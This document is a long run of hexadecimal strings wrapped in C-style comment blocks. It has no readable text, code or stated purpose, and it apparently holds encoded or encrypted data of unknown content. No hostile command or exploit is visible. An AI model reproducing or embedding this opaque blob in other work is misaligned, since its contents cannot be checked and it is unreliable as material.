3e3308d6ffc6f07f0f8356630b075a935138538139741ec797d17642d27ef827958460b691389022a0f31745fc4eb08db5116e9c7a65179ccd898e867d36da38fd3641bf5e98a781c0a89bcd7ed638e6a014a6eab0a8837a533238fdc36d404890c2210b8cd0608819c3fdbdc281270b8fc385fd32e641d0fac63df36b9d549148866f4ae7f98d45bce0b9c67f0c3c97d83cd32a13f8599bc963bb9fe514881581bbdff9a9f131df9c10ca354d87b5c771251b8293de3e82a6d2457459450073806d01e30fcb395413893e72891fce2e1f1bfa26e4769c38837755e7cada62d6143f193ad71571c7cd6777160ca9825997752a46bf21695cc730447f821c964c5eb19fcd0cae2222de338ee6e385b5c18e4788eb52170a945289f756fceddc8e426b5ab1bb017a6ecaabd6b62ff3c35c4685eaab473bc32feee80f586b374b651c282f27d42468c8e8055f328415ccb5fe5929ac756b142f4f8a7efb2e48a43a1fe1824849f8ef401b32b942445d0786d844bc85b5335066ff2ffa4e9e155222c345df4740f48dc8aa57d75d164d52a19a2dc082244ad78aa9fc5092d5d982dc62a1f046abe935f19ebb1aa1712dbfd6a3d954bc3c6585231c3cf58a4e21ff2f9d1cf7580dec140ad5ee55e0f55c3fd18133504d7eb92439de26aa47819ce66039f7233d24b7f92001554581af6febf5b2fe3bb28856bb9e1752f844f683af534669f512e7c75a9b0be89d922efba5970caa6d4bf44816e9ea37c8a97f5cced4c613bd10fbfca81533b0e21657d71111463869e8cd167dd719174384e7f6e5524882ae87c0a7e356cba1cabe0e3d6bf1b6c9a15365e7e741e6628652f0b663c3d73929cb09dccd49200145b7f4ea3afaace7d261b912d554a7b0526f780afce66573cdb3c1c3b55466d39d218644197148586f0c9aef15449ab109e54f6282ca20612bdc73f3f85d138fa85041d967c8098082991b3251dfc7e432c2c14d50b27c8863a7291c461bd4bbb8d8fdb11682d4c7f26b879a91384b523788b7fe8c0621579948b76b2f66c0d1daf14deba2f9f2a9c4a2892576e1f6d49b50961af809b12ce7a6895ba2047b98af3dc69af4b6dd7869c98abc30080b3109709e8eaf0464164c6c49015bbffdf96d6d4c66561c0a88849b9067fdb8cc5f7c4b23ce2ec95ef5d4e0b0318f185ce50f83f9cab833c28c1be9e018da1176d2cd53c7362c0f898b41da618e1225c5c1f4745280c1c1c1d9ae49125954b6b6ec2e004cb7556ff532c772b859feedf16e9e7e0c3703f7fa802a7840b4e800f5b125fba090b8a29ee71ff4907c286d30bade2260c1e5822683272d3455bf847678ee7ab31b9449abde6d4172ee2a7751f4c032c8267459d2a0849945f4ac07fc2d937feb5d90e26189a7f672eff2d49c6e3f2843d599b799668a19427167fb68cd9667ade4cae59fcbda04b4fb345cca5119a8c7982ca96cbb85020acfe9d48128668bc6e110229b995463453d61962b9e841f92a7aed197d197003bcd85515a5e19b2a98be1270cfba73dc6111b18b132d1fb819da8181f9df03cc1d7258398a93e38d8f7cea2ab3fd92cfe52aae9286bfc949eea062e01fc4d558a64b82120e23077ed26fe91519e92c0e9e303ee68026ecf2b7501eedb3fa7830f8f729060f5fe6eae81bdd6cf469f97132494dc70e9e483317ef6fdcd8a04fd104da2cef7b8f22132bdba8a3b71705f66a9b3f8c75311f827c5e274b5c009366d96d7eaebd431b55bb725592a607f035296e44e97f7744335043e6d26e0323b776b2fa9bcf97d950a71b195700ed9afcfc706e6a8d544e68c0d724c916a4bc3e5a0a4d791f16767c6b5424325918257ce8af12faa9f84ad39662e998634cb49cd2ec6cef83990ac8a4f51b61af77851b1f2d492d27147ca0c1837cf749ec8d5792f897d26f123ea4246b454292ec16353dc1802e19af37281d0441e1c0e43dd674391a4a99b100abd6f61e697e73be6f2e89bdda29eb75d096196d6368a3e4532f8f905a18dbb83c1ddb83fa222ac60b4353058cc97dfbd784b6a328ff9240503cfba4127dfa623de7acaf6c74ac2db12b6905aa1a38023a6b571da6505bdb402bf5f583585bc0f7b87ab9ce7362983e95194045*/
/*54d07344d1787087a6d63cbef3ce7abce91ef6527dd5737cae8aae0c200fec502d6364ee32d5dbb1a67d48618a9f299f516a8d500c0732e1302290bad8a78629de83ccc56e1663f1d4b9c3fbb4d5bf52d95f58913876d301cc0e2c0dc4795d12dc17408a07e3e60ae7b7773d0a1a2659fcbf3ed167ad3a43f0ba23e63011c172a6a2574111b5eb70435587915e71d03553fcc280e0c8588adc4a798b63de12f2e40f8d8bbe6d39cd5868ce7801671deeaa8dfe9961833d1632d97221ade85c6a8d3116e85a55421a12ed244a22fe0c9a1f97aa3c3d09ed54420df1eada9f5980ca8ccd8e92d6754e237a0a2bb80986c2dd1ac380aca0657513b00b94fedcfac25cf77180b8610672ee94471209750fc2715e575fce38e11e0ebc5d0b7438d2fa1ca62b77243d3942a9e9dad0df9ca457428947967199aa05f6670a65a2719250f1e88b23e27392449eb0a4d9560f99d310807b1d6d053afb4e713ad2ca3d4464ba5495bcb3870b6ec1e03fc1833e8f539f40ed52ac6c065ea0d8340015f8c6822688f8665020b1b1dd60fea405dd09a6b35d10f9b49bc3bee5b91f3ca67b89a33a6c0f69869defc566fe52b6903aa75ba3e96514f7300bdd8c66b6abb4512a9e3902c7de5fbac98ee6d71d1e495b00b695ec6bbd6872406a5d5def7ae3056350a0a1edb8be06b784967ec7a45f6ed857ab9dbfc7dbc8c004b820781a4b972b46f7fb9c321e1581b90ea76b415cea0f2429eb8e6aa0278095bf5e630f2ac4c56e7542aea82aa9d10997e5c5d4fdfdcb85a6eed433c52a961c7abd94e0928683ba04da86d7f6657a980bee73f665dd25f014b57273b0938198d2ec4ccae91bd75b0fbbbb388e6fd27cbcd9dd36d90a6f72bd74fee95572c415f44b4559dad86ec59c7c13d7b29e80229677f904ee9b601706cd419c8f76e1e520f35f25c54ad81106a8a90b92fdf1371dbd38e651b41463451bd189478abd7b15fb934ff747e0453aea676ae2b11cdf741a799db41941dc3b8cbdfb7f97c2a0ae62356c953c1b42ad457b5f9571987444b73db2663549cd0e9ae27e93105e66ef3bd27fdff3fcef0382345ea24a85890b6d6a93d19554be96932b3b3458a158e4996a7d7423638228991cfdc1e12a2ce0d4b2d673c409e51de0005bc03cbaf756c946ee432a0d7bdd7573897424461af63b80aaa931a25a85fb116cbe506a2a7e7929b4922f0623ffee79b8141360e7200ebe559b2b0f4d3c4d0cc5a80dbd68faa2c2540cdecc7beb58eee2942b162ce8bc8c876a0f6f6c123accd409a05656dc3e0cf32d2afea3cc5ee8e6a715a3a81fb7c7ad7188835137f1aaa8df8ed4d3a5e839b81b1c0d927dda64fd2a588f10da7fb51f4fc52e909599423477938013a33a21e9426313b5042bc037008c268535966b39e25b9e347da8b789fce28802cf8f494da261e61ab2e6f5e7db03e980a936488c5153b86c148099760501a87bd0125a11537639cff2beee4732c84e9a082fe3093b89788ead08f5b55cd751ac65510b842d9c9b62477cb14b70e832143cbefde29e6c2a94d1f63586f773a1d38a504416407c0a85e85d29f1c652ecbdb4f9da3d9e845ed64e02f59667ed510a79918f58159131b22317f775831d14796c3f608cd58b874ba647062cb76ae37a7dbe24dd025d8a3097587d2ffa48bbcb8bbb7f77f9da611f5f735c386dad8bcf1b963c96b6b4f536f0aa6650ebebb5a0840f7b5a20c0a6a62871cd2eaa8c5b91edbc15d2eadde4fbd348f585c3e4baaff49221ffbd6fed57afff28dd86083487ee9ec3be071f696d6cc80087e8da207357c00fa7db3f9a144f5cb62c0c7b21a480172d77815165f84beaab28d296f1b1fa7a7172428623aa46cae4f1d353a6ff72639bf50f4acc4d6ea19db9e862ec85b2a651be31d6188012067396f9d007481a08e58e0d1fffcf35c029165b3c093d79cd068aa581a7e88b5810788980bf9564073c97d86d73b7af212328b5e008b918f47bfb1fefa40bf1886f24c6a2dd3494228f7054dc27db299a3ee1c65d3ded3150cbbbd75ea57e3b72ef603917b1b791a814de55a6d2f6b97f2d1a21f74c357694bf68d02930429c4ec35104e4a50fa8cc86341d75bce77ef435f1c39fdacff75784cfc4d37656cee52c1306a76d283a226d64d203be1e096305e707d580b0c230f43b371499fbb95f8ce72dbcb639c06c3364d8fb66e6e8fe41f7fbbc6cc114440c1483fe268c4ec1653d5c946badc8a8d864635b276609e777698b57a36a656fb7c6984592765865e9123d64448ab1e71d51e8c4256f614c796d4af7e9a3eed09fa611a923b73ec00a0bd10132cb0328070bf60cb422d838b8adb4b9421f3dbde3175210b7c0e644d43bf0c3737507153f7c3ef45c6cf22bc64515db209ea64bd58d12817bfb0a1aed3e787f775f6c62d56e602f58b009e4a9add5a3c74ce3873709de5913a3613e9d8b8cc53606d5b714a33bd9638f7c3f9e13d8725a9b7a78853e0a6698644d3cd2d7208c5ef43780ae66520cb4447d9b5abbe3fcb362adba7082c12551d2ef8cf12b3a2cfbfb1b004ec2f5b642c0cbc33725d6e79e65cf170fa5a8b0ede46b9702598bb7a5e648857713d2cbf1e208e04560dbd4b18000485cb63d8a628d5940ef082d1dabe368f776caef81c39c842845c491b1b62e6c0f4709893b8621c4b8a5737966ce5f574f6dc458441ccdbabd842db5b046b41eff9d74ae6f77ffb3604e28f68ffa1eb62d1b342ef8bae090ad9a6108eb6ddb4ba27c35d5d701eff3cefb6a3b1d535d2c2769af6c42966f805101c4c9495ba2434d22e57cc162b9*/
/*1722b2e961f6fe9442225a13a3d6e4952d22123debc95fc011f239c11b203620d0d51c77ea69a9de90765c6561ee3ea017e08c1b807aff4fe3e7c9997ec022742740d70ff576bab188efddc1a1fe0dcc935d17429756d0c98d357c8b7d512d1b70febde03a0d8bc38ab36f4dc632a247e69dffa724a7d681630d2f926e7076693427d6694d9bf04376c87c77712089bc472bb33d7182db1d9c4589913faec65995931a25e1f09f1667b5ec106c0b868d6dac23f8156c449a3cbb6087100e3a0210009303b92ec724ec01746007d7420dc3b6716c797763cc8d448285206b86fc81bfd47a4d4d4f2eb1da6e8c458ff5efe779055e8f717da491bf3e3ccb5bf19a3d4a8f821949e16bf3c746824271404f78b6bbdc78a0aa035f0756e6fa5100bc069b1ca059f0ae87702e98d9ab78297344671f144ce3036aa9c0b50052c48592ea14691bc874a8846e8e6d7f5cfe885f1cb3356dcc93888f27971b360e4de9d81aa61174e2f4bbab42e7c4996d1cb6e12294057acdb1d2d4a07cb329eb35ffdca2a62f15f3df14c69f5f833cefb89956427bd3e6354866de97767e72bc7c3a27d5bcb89a41050305fe3d208f4cf471fd5dd278e21bb21fbafe5cf53a496a693656c50f32eb1256cf8c8ec456d1866e5ff28c3efa784fc7d63d7321d6142045bfb0068785a854fcd93435465d65d440be3ba11249ba9aad8fe85bddf3ec7cce30d6b89af3cfc899eddc8bfefda698510b49c31e101e5d667607d0006a3aaa90b6dfd5c5366e4e30831466a5f156d6fb80006d5b6f09959364477dac0c26aaa3e28e8c181a1131f72b7e3c204b9744000f06a55e5858ed53b743eb66e2763a0ba403887a117546e4d8f2240f1ece98404cea11ce20959ea06f64442463d0cae5be4d3e96e5010f67e90aa32a9fbf81902afd845610b05aa9bef59c40f1b321dee1f1678a921cee5a250fa64e33b7dff7f0038d82a8159819dda2c2f801fc1b4ac8c95f3cb5ea86299c9b0cd40df21eb5186e3dcb2c7a58113eb92b2c226466aafdd8a664d263652a4695da07f4674fd7f7e50a8a0e3b1672f25e622e5e43bf21099730326c96389f203cb09b432f32ccfdc1c969ac15779de3c40d5a9869306f3e26396e2344eadf178cadf871869973a37f00f47d35a2ea3fb9131be858d968abee5f4df777de93502b7dd14248d0d9de8e9cfa4bfa68ad42b38a30de9105f7f6d42595b727e3c0af2c5e3f81eaedd6d18c531a2c63e6751b6bae4a33c3101ba8e6bd73675f317cfb4a4de7430f7f343fd7c4dd12ef796a1a0f079602c5fe2bb90f035704c9924a437f683132e96e9ca453d0a349e051500fc23ee0ea6057ead11292037ae202832dae20deaad75c29481d85088d9300b6fafc59ae7d466e2bbb6175a86989d8158899b7047b1c7844ffe50297ed8c65ef37644237fe0d0ee575720d602211c15c16e06f830020f229b243f8481d30f8503bcdc7712ad24d4ca46834f5c7f5019c22c06387372c3fdcc853aacaeaa36cfcc02a1d2176b2affdc5e718fb4df57fa4af2e64271f1cf5956454bfcffdc63e97abc0b21268b7309da4e34a221639e6030885ab066b100a77ecac9e3a9754d3a51671e705410ee1ffb9d97c9d7a827a5e681ac5e8ad1a62b70316dc78c941a998c3766ef157367a48d40928a9f05a83040e9947a2d4e8f713a32cebf4ab5d7d801314d0ce5f7037b336c52b8606829956175608ae7477a199c3299371604b005930ff8b3d6184fdf5a76e11cf3b39d94d7d791b8bf0fef8feafae5b3e1fd67f021427f95e338a881c80ae13b8b5e65267a07041cf0d520f0f739884774543a138695bf477d3d20bffb1321018fdd24318b13c2913e028d460035df7307547a9ec9318227c59d9a1dde9112ebb7cb90b6874189a13130eba2aaaee514df2f86df5433854db4b77332123911981d8d2972dfdcec1d343dc35be719b6c638fe36dcbee132fd20d17e2ca1ff21766f256055576be1713df58341dd1e99590422d987a5ff176d17443c0741ce46bdcbb645b067fc52e2c9111df31f350f4cbda98abf3ff5c80f2b33d4f928dfb8152e1848bdd24bb89a221396b298733a6a770d710575c5c6f82e81cb5ce2cc269194a368fedf1ecc90747ade25cefc55f6395462ca9b4e478386badd2b29c91b7b95832121c3bac4510997a70719d2cb15ae52b08ee4bc3f4c8d1fa3c17bf99648dfe7ea2ed48a8ed67e77dc65d729913c7063e6664ad18fe26f7aceca9d77f2a60f494fc3104d784fc4d88214875ecddc3ead2b89b7f8e1fa5c9565b7d2795cf9ce1874cad72742abb190237a4490473a08f999a48dfa492e2f2058c7e7ee6eefe4a474a1647b008aa6a549720c3aab8f7e848cb52afabedcd648a9cbcebbfb4261bd832cdb524aa08328848d1c08383e3dc5a7e0cafafd89ed5a716a5ff9e2d129956559249f4c2ae4af2a516e276ce608ab400a03064bdfa30372489ad0f7a27c8a52a078abd89d42fcd3347cac568938b0313c590f6d51031a914dd982e3953e7fbb18c09fa06b6188421d9509baf6d2205b029ae44624ad18b5cba07c0ad32f78d83420771bb589e75cc6ca2b510e1bde2b5ba30514c3a6984dee45527ffbcebec4b022869aa6ba7981b784bb5c220a66344a1826ebcd66ed0ce127be2a259bdb95f36805d69818579e160e6dfa114ace3eb7ca9802cd18475cf35f30eae7225aa4beb33695a9b1093a9104287b3039007d1be822f2b8a7ac575ddf3c97c69d366757a229adeb71f75597f63fa513358b2769cbe603eea3a90ba5e079f2d0bf222ce8277dabdbc3e4d779eaf*/
/*5990d03805944777750f274e0f01eadf267a765b778ba7876608e69d63a9b0023e2d2bcf161e56fc0074e40b4fa975bb8d77bc2abf4ed152ee379ee85af6952e8851ea7dcb2a13fa8d610dc312461fe6688287aedf0ef5dcff759767e634a43008539aec60de215d498dd2013e4e05e211454134d0b89465d4be00da4a76aae6583872fe5406109fcd4f6a568a184e2cda3b4740980c05941c2599112615a134e5a1a299c37944c6dd1307061c58918de0c4561b9f323f44c7e6278c7aaa5c6c14a8965be442b5353016cd5ab7853295a2226e353accab4fbd8a667aa8840d3b5e8b741508c10c9b5cdeef0d2e5a8a23967953638266ba9b3a6559b4eb2b5ee9661a0bd8d291e421127cbfe0388cb431ad3bfe8b2146e539bd06d530c92d81fb5c804ba3cfdecf0f4a0dc974193e44bb93276fb3139585303fffa3ff79e8d0b67e4f8217ad9c65f4dabe4aa97420ca594651c3f379beec6e065ba22e9297f84775b4a7490c25b979818d22c6124b91d7078944ded63a41b066c9b81cd2db3bf440f5c14afd751e032b61c97a8250f45a80a5e5ca606612beafb8a9849b530380c2bf23e75666fcc1d8ef36c65eb262ce8d8f9b5f039b0c7499b26f7e190039eba3cfa637fb1cd6cd84bc0f78ec49d466c1a8b1bffc29bf7be74cb2ef92063c22ef38d30d5db348ddcc25ca5f6f14b03fdb45a39986e2d81bc693b21ab42dc3b9c9f81af0cf31e7e66527e84a3907dcf090e77a3628d03b46d58071344892f5841ac3e37011284fb48d89657d45c38029bdff5bf4db3c563bca56e4fa31f3f9a03ad328edde3228dcc61a3a199b4fdceefcf2707a0d4b8fdd7e06caa4c9efc209e83440531ca658afd247c74e064e8adb14c86a952455251bb9c230f72d845300b3e6e732d3e7af20df174fdb4a67643d568c2a5beb6eb3e9c8d96111f8bb54ee05240c02aaad6283759c75c2ebca7f2edcb961b4f7868536b1215a7d67d2f687686530c0517dee547633bfb8b249e52b0b4f1b630442235aa4e59726f2b3736d27354c4770f28fa69f5ac5d8d879a2d0bc08b79f6c2a86954565fc8c3194fced58bcea0cca608400cba8d595fa17233d5f4f95170a9d20c8590a2e973efcfe94c97c4c58c8993ccc964ebc2b5df67d9dac52f4ec0e9aa23bafd0242bb6cd06e02766e613301a1b140322c6d8d7afb1880734252954b7aa484dc8feb382b553cc338aa05b41ce332d0051332df566aed991111d902a9af9949f039c85a84219d2ec3993cae9607145c43c43aeeaa07e55ab1b78818d34c42775d26d52931f19a6f4a67c81ab22abbc846435f442ecae65a1809f4d608fdf90b5c3cb2bc4c08c5fc4e14f7358b445026b06869048fe61f55211901c76140eb3ee13379cd0091fa6dd4469071c447c6aa8d033b9b59a176116f1dd7e7272d0bb9d6d7ed32ea671d78370d84466071c3297814a6204a1f44e884e5eaed4e666b1825dec41fb8ad9c0bbd1ccf940bf0e977f6774e45fdfa9499cd8d1c261f9c1ea9af8dac6ca3db5cd908640ce67a319024c44808be46bc2bc2dcc5dc5ac896301f682fbe1199c755a3499f3a7cbe3d574dba15f6fb0956d89716339503bf9334d8eca1dcec6d85286b435ec14e6c9f1ade1dc80ac3e56e9562c97ce416e9057b1efc90a38b819adc67754fd441a5781d90e2d82ecc8de4c3550a0ca56837fe08b8f14677bca9f86eb941893457f21d178f84e7e62cd6a95d32c35db4cfaf94336f3b3558672c04efbe814d59dfc830f875e68b916fcb762cfff62304e21b4b0e22e94fc7dba5091da8936919dab678d63bb1d7df84f5b5a97d9e977af3d02473732021817202bf9fc9f8ffb42bf4bdcf2cd2af59acb13fe9fc07192a3a6d52a185ba99f7457348e81c5d2be8794a6b2a50aa2e26dad15bfc552c6f3ff8c844d087d53a7cc37458bbd34a58ad1ea9c187ef98477a4f1ef9d0620bacd22beb9ed56959956bd25603537e7ea4434d90366a21e912eb2a0d272c02d29991288cfadbd0842b038d5c16f058b86370965b33b2c232b5d5fbb2ea38c19fa674ad18aaaf60806d59bdd2a5072fdda761b2979ee353c4d776e990efea3fbce1041aabd03f28405e0a537c1501fa7d36cb162272b49e2f392acae615a304f0243ef1bd47698ffb83b70a0ec6987898949a85295e0aa442fdab8933e163a7048ac9307751df977034c4d631efa37bd55f5b8707a6e8454eae3fd60558e266d24abd90ed3b1dae0a5e4d78d53ac5fc68dc9ee97aacf313e060516c335d3cfbd6cade082cae158c890d28c05b65709d64f076792a0e21690e6a72e00129be29ad4a4583238944afdb5d3bd7431812d999c79caaea535a9c0760edcdaa86ce015764e4dd8d3855223d5a7b215ec0be5a25e87d7e2143fbf0ab17e52064187e342b3b6471b0ea7e1759ff1486b043d6c2b2410fbf0aaab9eff566080c3f0aa0a0a9119250821692a640ef2e674df87222e6b4637e2385d929d19fbde3ff956314681dcbc75827b0521b75e1b92b942192c56f2aa1037b3d772c9fef1b2d54f6de3c9bd3a8cff7e8f227f532038a3637284595db37fead2ec5fd514825f1f9711aed28e0dc3846c3cc117540c81ec5ab31cba881da1a78195a85f6695673657ec92e5caeff69fe24167142dfb9bfe24557b3455da91ba65c396e7a065e6dbc5571b70620c5204070139314a4b7f119fbeb0c5beee65cbd4475baa5b650e13f52f4fe9655be2d75a7fddc11e39b6a3b8252bb14556261ef91ccb5528dd1d5e4be1e0abfd1eba2c25e61776683354541371d56318575cc637364103121581023728*/
/*11812d0812c7df15732df42c047fe7578c7464be7ce9443c334a0a988618050a91cd573bac0f4f84e7c3b9165d6d23f115e6457e78846e737dc120d053cc6dc009b62bc32484948160038c807bc5c7dbfe181825981ce1661636f060c587c1179819598e0059ad67c2c983bf64539263b543567db9ace639b2c96480b221d5703b491a6ce1c4ef5c75044ff2cd1142192544cb193f8c22958c6c0bb5394a1cdb3c7e83a4b18290dc98fa71cc368090c597df9a67eee240743aeeb39fbf6050f9f662e1cbfbf6743440a55f26362275dbe41a8ba62effeef4eb54ad64a17e0b029a356e624f6f58abc1dd616c814418e9b4fec5334224edd3032e4b96b8b4df59c4cc0ea59510c0748515590cbdce83c7de5054b240c4bd5a0c2899302592c40e769ee96c6e74b4437c13276fca1fbd40d8d716b6070a046584e5d79c591b9760b5d94e83af4f77f21434dd5fe32279434f63b1570ecb665430de0fce94fd28d35b9dd70092660118636649b9f119379ae8d6257c200a25a8e203e000bf87f0596031a23b5d7eb79ca9ac9bc5d0d8d1150b8d4ba8a8a2cef658b7aa434690d8dc5f506cba500f0ed9a96237a0d831220bfdee82d471b72c38295dfee1372c4a6b744d5ab2aeb6b20b24057804c89d548a3efae01afb07f3358a288c4647d5dd600e3c265fb2a36752cd519cb34ba913e400910a75d78bdef154d671ac56d7ddec44ad0f8c5898182603cf51e15d1c3b8af6db6ff698d3c5d549691bc8717683090e338f892e2ec5ba44f338c4a28abba96dd0baed4fafb4203421af334254e2e02fb6f163d1a5b9be5707f837aec12c5a93ac148cf4b371067ce0e0ab9a4ccc3d3f5508279eb5bd6467d6b05698969d5ca4e80e8856cd7f9c45911ceef52aca43ad496866893b0a3b415017861bcca3b50a55de6ff884d5cdfe72883eff189bab762745fc17403a7be9ce40e998151c76bf7b183839e7f8c3b9caa5b0bf59dc5c5a50936c699f846c22909f47da24f377a56786c52433f6e91a7a1ce25d3e96e47ce4fcc131d592f951c6bb0acfdf4eb5f2beab490ba57b70d4657a590fef33e7c88ca4511e77927b27bcee366a70deb4c5dadc0d2aee0c0e3771a9c684e84321b8e0b0c6931b1ca28848019ec18ce57643cfa1ff9e6aa271c340406a1e6e3927068fac8bb788776c858f85664a057f736cec47c1189fb4c7acac98e5c36a23dde5acc9622501e6b3164527efcc1bd4a40dbd84fc40000a9a443ef0d55fe2a7601373ee1642dee97af3a0f3effd5a4331d76e8e8e29345f04d5cb2f083d6801b33ccb7ce9558f9c1217c006a03796a84589acf4349280508e9829db23ff3b5f3fa3f07c8c1d21921119a5adf3acc385836665e60ddc336a0ac83f83392989ea5597c77081ff1c958a7baf765922cdc30fe316837a95aa5b05127e2cbb88a25a4cf7e6ea57c2d3353b0d10102261bf3ceb718f3539d8fd75b40d8c636c09fb916a42719bf0471008bc48c6441fb3dc6457ba5352fb88807b6d1c6750f45f338e8135bd61701970cc35b972e9cf5e0aa552e32b2e2e57cfd06f725503a9673d8f36c79946bf160c0459c6417ca794d0c35cee8c3815c8cccfde0c3349603c765ba163014d325250f375885e17cca667fcd258e73d89ca6e03440ec5d0bcc3b3fe7a7b27c9c100ace74ba8ddece92c4112dd1ca3c48517d47bd5abee0e0793338d520d4b2378655f549f0d7d5ab0c55d3f01553f806c5871bc84f6ccf7f5fcae2f706bc66050d60cac11d3fc7f071a36cb1666da16b8d8375efe3c9728b97bac3a7e8e3b585225a4c9be002d803f47a0f97ee8b95e78437c9c621baa9459f2902d6f6bdf90c43b2293bc10b5c90ac6c0fd0c1eac8613f61bdc94da48dc4221009d853b65f22aae9d0f859da546e4483cadd1bb661a7b3e043eb8f4f439b19fa8d2da514c9e6c63886af8a9b7fa0e309e1b36e92b50115895237c545b23cc8759d3cc1d3d1fe647ba21850acaf7902b6ac9b940ac1162d02eea69cc0158548fa53f5f580bb78bca1ada2fbca7602720dcf8fd8a62b57a7143ef28911995ae4d851ce714df28901660223591795283014216ceb3aaca671d2588dd9511b2ffe417d35b5b1d8012215eece2768a26d4f8055dbac07562214d723c15adf401cacd62bfc9b1e47cf3fbe1d3d8332b4909fb55a53f9a5ddd3e41bbe8fd05cf37eaebed49d74f659e2393d5215c55b7b5318be02883399ac28592789c8124e32525c3a6d4cda159509f1c8fd1a2051023a908096b62cd2fc043d11981b753702930f9b30bf4159daa43f3dafc81ac6af1fbb1daf4f96fe1df56493a2d482e62430c743ad591e63c9ab8f8f8650c54b1f521b3e9b2babcc48fd7294cba4de5f69ae5de25cbec9eeea96995f6e906e68d32fa7e4f57b028fd201d8024e25cd2d46ac5cb89dabe9adc1b576794286fc3153e7d42c554a69cb4650309cd1c657b53fadb0b1f6e009f04bfec801f94003dd3f915f11e1305639938bb2be97097001eff0ddb59b0936ce2e40ce16d517f679acd39400d99dac743c6b9726bc3d02b779e7c01e3d4d3435e27f862b3625fa9c77eb9f1e4db01040935af2c640a5997acda5ec549777335d4bc14ac66f85e3a374c6f426656324cc4cbf46ff8a2a8306df210e26a47bc112c25ec8e7dff83c8c04547a1252c74bf3bd201f2e7dde913cd7874d1cfac693289d01d80654445402a36c512a6caba2d0580435747d4d13d50b4806210c7741d599ac212f44441dd1cfb415cc8c8c3ec32ec6d263d04c677ae7d82bd826ab0d56a1b3f0a8d15d64c59a93c2288f950*/
/*1474729ad8570ef1e6897c8f3b599f65dfa4fd539ac18da5ce1f0bd1c8c38141465d9265bafcf3c3f5baeff2726f5d95026512288e11c14aa3b2e101a4af6e2e174c9a8d75efa273aec6fa873641d6b101cbcaff7f865db065d0308f22e6487709e1941cad10a0022ec03c86ecd578a0eb55b5e815812cf994591dfca85f665d1a730f0209d9b9abae79dbd15d8e67d94ea4f3272f163fd621e1f68f64edf4c6820778f0fbe217db06257844bc1294a3f7e13fd840058defe15c47bf3a7b800b22c4c673232228348743cf694ce75c03e30a509649dde7d2a185c09b50db10138f5aefa9ea6b56056e520b144e8a0057160b19871c8b55b6d5b9a5945d9ef5590870c1f80d8737edb0edf93e8458c95867c82170f9623b5bd6f611189d31f79694a8164a1a3db2b121c792e2a180077c5bb6a8e42f71f81d0a75e93d8d24015151f267a26ccd6d0dbfe177cdf6dc8b2a7e2acec5fb24473d2d1069bec5adf17a97339c9b1c517054d49c1069818aede02ab08b7f5b7346ee2007a19542e5d9bb444a8cfa0e5f1a84f8f47a1e5e0c1f3787ecde86caf11e6e19f346dc6faee9bab2610a7b749b788f6050eea2f37244f5ea251491f80596a4869aa3f30f85b27f670079ba55068df6900af074a6e28506f50f92ffa8e8942e81ed7522a53d689afea2bac4af4a08810cea2169b4bb1773e785dc90a12921dde1d7f337267eb71bd585360574d9bd5a2b9c3d35de108f1c9ca1c538923b8180bf800295553344f75c189d5d2724d95594c4d68a545a9840498cd12763f6cf48a86a92bbc8b0cb6cd63eb9f6a2fb825980431f2b935686b0ec5b84dcc0a4383758cf7be22b0c2acbaa9b12e74e7ff07d5dc610d8a58bee2497b2f33e63b4bf64b24516e854b53062c7e3be8ccb35d0c1d50d4cc4bc2e382126684bb8343a6f0c2c795f9df763456b71e17832bebea43128112d7931b3afb301ef6c29023420a031b7e8ddb1846e6a0ca11d58af30d06e141c145087ce94ca897a7fba3ff6f953e976ddae1ac6f7f34942a4d4f46b54f4a57aec83357e063d36e7c6233977dc25be30595b72205dd8f251fd780daa0a94d2fc63b601da63c282a9fe92e97eb67a28eb388beb610fdec94f913192eca80721f52bb7dc5d360fc810b49b34075e835ebf0b74556cce9ccc73caaf2c6946a065e35c68422caa32f06ca6fedcd04799eac50bf6011493df4c805af56bae55b33c438e74d1064c20a854377b723b00f3cdde60b66a17c455a1dcdd33d07a7cc058ee7b528f3ab54285e904237aca8fd1ffce345265b9ebf3a292d926ac0ae457c3234eb8d945afb596899cf5187e16fe1bbe784e1ddbf8709871f4d7f16c01ea22cb6b9acac5d4a1b1c92f292d4846c62c2ff817eea9b4d8c8b50527ef7a68673724adda8ea6c0475db5a020f8c9d1eda7345183565cc434775b04076e6bd9208196b4469bb4792e3e7bb6a7fd30769d8270d956b522d5350e938b4432ffc80e7194b0a8bc92eea438ebf4a8073a083571c4a4ae1edbb36e54466649fd2d95b6a32dec363f25998510e83d1fb8e7cd5bcedea81d75b431586f2e7387e5647327b12e45f854c059f701a32590a116f06cd38ad4db6996479225e60802058dfc9667c63fb4d28cd7f1a5039ae4d5506b5752c15647eab76fa73d48898006c9da8186b68effc0bda21633bf4ca482ecffc466777193e00c41f1f3e23be26f51c8fd9e2c36352739a59a348d34ec6259d0c90f50427fe5d0c59e106645c49f663794aaaf41a767b02ab8c6d852b77585eeb9bddb55081e8ff41e7fb631167348da7ba74fc1d2b4e081a609f0106e36c80755fec1618fdd377c87455195d31c1a84f766f66abb4059cbb4baec42b8132e358e80331f08aa51d60f618338048b00a1996a244300372ed7176fe65b15b01d0448b360b9b1f3bb48157ea2446facfbce69b5c1574cab990f4bd14e5c49ae81a4838c21006fdab1f055b906072458d6a818bdd6569e96192b9bb1c9b21cd7356ecf1100bdae649ebfb67d019b5d4fae6922485aebaf2d0fd898951d7153b663ad1c6804a38594cab68859f63b3fb4ef238ab66ed7db5bcf571a623785883a5184805f7cfdcbd5a0b4e9dd4fbc790d8210ddc38f01ccdd5944185600926851f131da2cb126efe5506a0bcf8267b2d8db311c2730e44b9ce084ec98fa2f1488906d79b89f77befbe41cc06483534b598c1ef6ffcd975eba7062210299d3cc5042de5e0ad58dab011012e8d5658bffb812f3319677cf9ac9ba78d2ad4532e2675c6e20bfa4afee01b7f2945a99c79827c09b4e1aeada10eed64e28d0a19936ee984b5d935696948f818af931aa749f95b258907f79e286df5c13395ddf5c89846f720aff366200b2e3812cc0bd857132b0fb8ba2813caf27ff8f18504b07cbf53a4cd5c5b57b79b6af259bc8da0ab253359fa964800ba149988089d66de28df6dfbcc2bbe941be982b2d2b3aa68e2675dd09d692ae9d01de7f3a20ac1467348e478ab237c8ebc6bd55d0f631dd60843f817f23929a60d0aa0594c8c8f6be4b13df6d4d4cbeb3c4722348938cd3e8ad35f903e83af22366246565eb06f33a1fb34a22eafce1967a3e476432026138dd2c79ff3cdf38825dd207420418140289ab8343539817097ad363e5d6ab30e2ac74a0916d75393a1f6e729110fd32dbf800916b227b4c9c2788199f06f400ac15e9cf1517493327e5b4d0c24130a89d3643d3194f789ef2bf18388b3360828ab341aef0ca355eed7e7ea704e8ac8d3cad42